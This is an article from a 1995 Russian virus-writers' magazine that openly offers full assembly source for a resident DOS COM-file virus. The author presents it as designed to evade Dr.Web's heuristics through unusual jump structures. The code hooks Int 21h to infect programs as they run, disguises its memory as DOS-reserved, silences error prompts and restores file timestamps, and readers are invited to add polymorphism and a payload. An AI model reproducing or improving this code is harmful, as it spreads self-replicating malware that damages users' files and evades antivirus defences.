          ▄▄                  █
         ▀▀▀ Monthly Magazine █ For VirMakers.                  FEB '95
 	 ▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀  ██▀▀▀██  
	  ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█    ▌ █ ▄▀█ █ ▄▀▀ █▄▄   ██ ▀▀██
	   █ █ █ █▀  █▀  █    █  █▀  █ █    █ █ █ █ █ █   █     ████ ██
	   █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀     ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄  ██▄▄▄██
	   ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄ 
	     Copyright , (C),1994-95, by STEALTH group, unLtd.
	     (M)ail: BOX 10, KIEV 148, The CUNTry of fUcKRAINE       


	     WEB.YOU Upgrade. Instruction for programmers.
					(C) Transformer.
─────════════════════════════════════════════════════════════════════──────
        Сначала - цитата.  ( Прошу прощения за размер, но мне кажется, она
     здесь вполне уместна ).
               ---------------------------------------------------    
     
          - Вот как мне, интересно, файлы получше заражать, - размышлял
        Винни. - Если я положу в начале программы RET, а стек заставлю
        смотреть на адрес возврата...  
          - Кого заставишь смотреть? - испугался Пятачок, которому 
        померещилось чего-то страшное.  
          - Стек, - сказал Винни Пух.  
          - Ага, - сказал Пятачок понимающе и отодвинулся от монитора 
        подальше.  
          - Вот... Заставлю его смотреть на адрес возврата, то Пчелы, 
        наверное, подумают, что это просто какая-то ошибочка - и ничего 
        не заметят. А если я поставлю вначале переход на вирус, как вызов 
        процедуры, то Пчелы, наверное, подумают, что это маленькая 
        подпрограммка - и тоже ничего не заметят. По-моему так.
          - Ага! - поддакнул Пятачок.  
          - Ну, чего будем ставить? - спросил Винни.  
          - Я? А... Его... Знаешь, Винни, - сказал Пятачок решительно. - 
        Если там кто-то на кого-то будет смотреть - то это очень страшно.
        Давай лучше ма-а-аленькую парт... порт...  прод-программочку - все
        равно Пчелы ничего не заметят.  
        
                        "9600 бод и все-все-все..." 
                        ( Автор, к моему сожалению, мне неизвестен ).
          
          --------------------------------------------------

        
        В "IV".#4 помещена статья под названием WEB.YOU, в которой описан
     способ надувания Dr.Web'а "почти без шифровки". Я же предлагаю способ
     сделать COM-вирус неWEBущимся вообще без всяких шифровок - чисто
     извращенными переходами. Данный пример RC-вируса - результат
     существенной переработки RCE-вируса, который тоже не брался Web'ом, но,
     к сожалению, только на COM-файлах. В том RCE-шнике был опробован
     несколько необычный механизм входа в COM-файлы с целью сделать
     одинаковый "блок входа" как в COM-, так и в EXE-файлы. Дополнительным
     свойством этого механизма стала неWEBучесть зараженных COM-файлов.
     Причина получения такого результата мне толком и неизвестна, наверное,
     почтенному доктору трудно осознать наличие дальних переходов в маленьком
     ( менее 64K ) файле. Прямое перенесение данного механизма на EXE-файлы
     нужного эффекта не дает; автор начинает дальнейшие исследования в этом
     направлении. А пока что могу предложить вам заготовку для полноценного
     RC-вируса, которого эвристический анализатор Dr.Web'а вроде как не
     замечает. 
        Идея, использовавшаяся мною, была гениально предсказана неизвестным
     автором приведенного выше отрывка и, мне кажется, будет вам понятна из
     исходника. Скажу только, что вирус работает в своем сегменте, в котором
     его инсталлятор начинается со смещения 0010H ( для этого файл, длина
     которого делится нацело на 16, "выравнивается" вставкой 16 байтов ).
     Чтобы получить нужные смещения для данных, нужно было при компиляции
     "отнимать" по 0100H от того смещения, что задается ассемблером - вы это,
     думаю, заметите. Ну вот, кажется, и все, что можно рассказать об этой
     заготовке. 
        Небольшая просьба. Автор вас просит воздержаться от свободного
     распостранения программ, зараженных тем, что получилось в результате
     компиляции неизмененного исходника. Это - никоим образом не "боевой"
     вирус, его еще можно улучшать и улучшать, например, добавив полный
     полиморфизм или заражение при открытии файла. В нем совершенно
     отсутствует всякая полезная нагрузка; вы можете добавить свою - я
     обижаться не буду.



CSEG    SEGMENT PARA 'Code'
;----------------------------------------
;       Константы:
;----------------------------------------
LenHead EQU     000CH                   ; длина заголовка (т.е. начала файла)
LenMem  EQU     32                      ; размер памяти для вируса
;----------------------------------------
        ASSUME  CS:CSEG,DS:CSEG,ES:CSEG,SS:CSEG
        ORG     100H
;----------------------------------------
Carrier PROC    NEAR                    ; переход на загрузчика
        JMP     Buf_Templ
        DB      13 DUP ('!')
Carrier ENDP
;----------------------------------------
;       Инсталлятор:
;----------------------------------------
VirMain PROC    NEAR                 
        CLD
        PUSH    DS                      ; сохранить сегмент PSP ( SegPSP )
        MOV     DI,DS
        MOV     CX,CS                   
        MOV     DS,CX                   ; DS = "сегмент вируса" ( SegVir )
        MOV     AX,3521H
        INT     21H                     ; определить вектор Int 21h
        MOV     WORD PTR [DS:Save_Int21H+2-100H],ES   ; "ввести обработчика
        MOV     WORD PTR [DS:Save_Int21H-100H],BX     ;  в цепочку"
        PUSH    DS
        DEC     DI
        MOV     DS,DI
        MOV     BX,WORD PTR [DS:03H]    ; длина блока памяти под носителем
        POP     DS
        SUB     BX,LenMem+1             ; +1 параграф для MCB
        MOV     AH,4AH
        INC     DI
        MOV     ES,DI                   ; ES = блок памяти под программой
        INT     21H                     ; "выгрызть дыру" в памяти
        MOV     AH,48H 
        MOV     BX,LenMem
        INT     21H                     ; создать блок памяти
        JC      VM_RestCarrier          ; 
        DEC     AX                      ; CF=On - уже работают наши люди !
        MOV     ES,AX                   ; 
        MOV     WORD PTR [ES:01H],0008H ; ─┬─────────────────────────────────┐
        MOV     AX,ES                   ;  │ наивная попытка обмануть        │
        INC     AX                      ;  │ маленького доверчивого юзера -  │
        MOV     ES,AX                   ;  │ определим наш блок памяти       │
        XOR     SI,SI                   ;  │ как "DOS reserved"              │
        XOR     DI,DI                   ;  └─────────────────────────────────┘
        LEA     CX,LenVir               
        REPE    MOVSB                   ; переместить себя в выделенную память
        PUSH    DS ES                     
        POP     DS
        LEA     DX,Int21h_Serv-100H
        MOV     AX,2521H
        INT     21H                     ; обработчик Int 21h - на наш вектор
        POP     DS                      
VM_RestCarrier:                         
        POP     AX                      ; AX = SegPSP
        PUSH    AX                      ; CS - для Ret Far
        MOV     ES,AX                   ; при запуске носителя - ES=SegPSP
        MOV     DI,0100H
        PUSH    DI                      ; IP - для Ret Far
        LEA     SI,Buf_Head-100H        ; сохраненный заголовок
        MOV     CX,LenHead              ; длина заголовка
        REPE    MOVSB                   ; восстановить носителя
        MOV     DS,AX                   ; при запуске носителя - DS=SegPSP
        RETF                            ; выход на носителя 
VirMain ENDP
;----------------------------------------
Buf_Templ       PROC    NEAR            ; загрузчик вируса
        NOP                             ; признак зараженности файла
        MOV     AX,DS                   ; DS = SegPSP ( при старте программы )
        DB      05H                     ; команда Add Ax,...
Vir_Seg DW      0010H                   ; "относительный" сегмент вируса
        PUSH    AX                      ; CS - для Ret Far
        MOV     AX,0010H                ; смещение инсталлятора в SegVir
        PUSH    AX                      ; IP - для Ret Far
        RETF                            ; выход на инсталлятора 
Buf_Templ       ENDP
;----------------------------------------
Do_Int21h       PROC    NEAR            ; "вроде как норамальный" Int 21h
        PUSHF
        PUSH    CS
        CALL    Function
        RET
Do_Int21h       ENDP
;----------------------------------------
Int21h_Serv     PROC    NEAR
        PUSHF
        CMP     AH,48H
        JE      Func_48H                ; проверка на влезание родственников
        CMP     AH,4BH                  
        JE      Func_4BH                ; процедура заражения
        POPF
Function:        
        DB      0EAH                    ; команда Jmp Far ...
Save_Int21H     DD      ?               ; старый вектор Int 21h
Int21h_Serv     ENDP
;----------------------------------------
Func_48H        PROC    NEAR            ; обработка выделения памяти
        CMP     BX,LenMem               ; какой размер ?
        JNE     Function-1
        POPF                            ; такой размер имеют привычку 
        STC                             ; запрашивать наши родственники-
        MOV     AX,0008                 ; сделать вроде как нормальную ошибку-
        RETF    2                       ; "Insufficient memory."
Func_48H        ENDP
;----------------------------------------
;       Процедура, ради которой все и писалось:
;----------------------------------------
Func_4BH        PROC    NEAR            ; загрузка программы в память
        PUSH    AX BX CX DX SI DI ES    ; сохранить регистры
        PUSH    DS CS
        POP     ES
        CLD
        LEA     DI,FName-100H           
        MOV     SI,DX                   ; переместить имя нового носителя 
        MOV     CX,64                   ; в специальный буфер - 
        REPE    MOVSB                   ; кажется, без этого можно обойтись
        PUSH    CS
        POP     DS
        PUSH    ES
        MOV     AX,3524H
        CALL    Do_Int21h               ; сохранить старый вектор Int 24h
        MOV     WORD PTR [DS:Save_Int24H-100H],BX
        MOV     WORD PTR [DS:Save_Int24H+2-100H],ES  
        POP     ES
        MOV     AX,2524H
        LEA     DX,Int24h_Serv-100H
        CALL    Do_Int21h               ; "заткуть DOS'у рот, чтобы не орал"
        LEA     DX,FName-100H
        MOV     AX,3D00H
        CALL    Do_Int21h               ; открыть новую жертву Read Only
        JNC     F4BH_ChangeMode
        JMP     F4BH_Exit
F4BH_ChangeMode:
        MOV     BX,AX
        PUSH    AX
        MOV     AX,1220H
        INT     2FH
        MOV     BL,BYTE PTR [ES:DI]
        MOV     AX,1216H
        INT     2FH                     ; поменять режим доступа на Read&Write
        MOV     BYTE PTR [ES:DI+2],2    ; ( подробности - IV.#1 и IV.#3 )
        POP     BX
        MOV     CX,LenHead
        LEA     DX,Buf_Head-100H
        MOV     AH,3FH
        CALL    Do_Int21h               ; сохранить старый заголовок
        CMP     WORD PTR [DS:Buf_Head-100H],'ZM'
        JE      F4BH_CloseFile          ; это - EXE-файл ?
        CMP     BYTE PTR [DS:Buf_Head-100H],90H
        JE      F4BH_CloseFile          ; здесь уже есть наши люди ?
        XOR     DX,DX
        XOR     CX,CX
        MOV     AX,4202H
        CALL    Do_Int21h               ; указатель - на конец носителя
        MOV     CX,0010H
        DIV     CX                      ; AX = длина носителя
        ADD     AX,CX
        MOV     Vir_Seg-0100H,AX        ; "относительный" сегмент вируса
        CMP     AX,00F71H               ; длина носителя > 63000 ?
        JA      F4BH_CloseFile
        CMP     AX,008DH                ; длина носителя < 2000 ?
        JNA     F4BH_CloseFile
        MOV     AH,40H
        PUSH    CX                      ; CX = 0010H
        SUB     CX,DX
        CALL    Do_Int21h               ; "подровнять носителя"
        POP     DX
        LEA     CX,LenVir
        MOV     AH,40H
        CALL    Do_Int21h               ; дописать вируса
        XOR     CX,CX
        XOR     DX,DX
        MOV     AX,4200H
        CALL    Do_Int21h               ; указатель - на начало носителя
        LEA     DX,Buf_Templ-100H
        MOV     CX,LenHead
        MOV     AH,40H
        CALL    Do_Int21h               ; записать нашего загрузчика
        MOV     AX,5700H
        CALL    Do_Int21h
        MOV     AX,5701H                ; восстановить дату и время
        CALL Do_Int21h                  ; записи в файл
F4BH_CloseFile:
        MOV     AH,3EH
        CALL    Do_Int21h               ; закрыть файл
F4BH_Exit:
        LDS     DX,Save_Int24H-100H
        MOV     AX,2524H
        CALL    Do_Int21h               ; восстановить Int 24h
        POP     DS ES DI SI DX CX BX AX ; восстановить регистры
        JMP     Function-1              ; запустить программу
Func_4BH        ENDP        
;----------------------------------------
Int24h_Serv     PROC    FAR             ; обработчик Int 24h - "заглушка"     
        MOV     AL,3
        IRET
Int24h_Serv     ENDP
;----------------------------------------
Buf_Head        DB      0CDH,20H        ; сохраненный заголовок
        DB      10 DUP (?)
;----------------------------------------
Save_Int24H     DD      ?               ; старый вектор Int 24h 
FName   LABEL   BYTE                    ; место для имени файла
LenVir  EQU     $-100H                  ; наша длина
;----------------------------------------
CSEG    ENDS
        END     Carrier


; ─────────────────────────────────────────────────────────────────────────
; ──────────────── Remember Where You Saw This Phile First ────────────────
; ───────[=] ARRESTED DEVELOPMENT +31.77.3547477 The Netherlands [=]───────
; ─────────────────────────────────────────────────────────────────────────
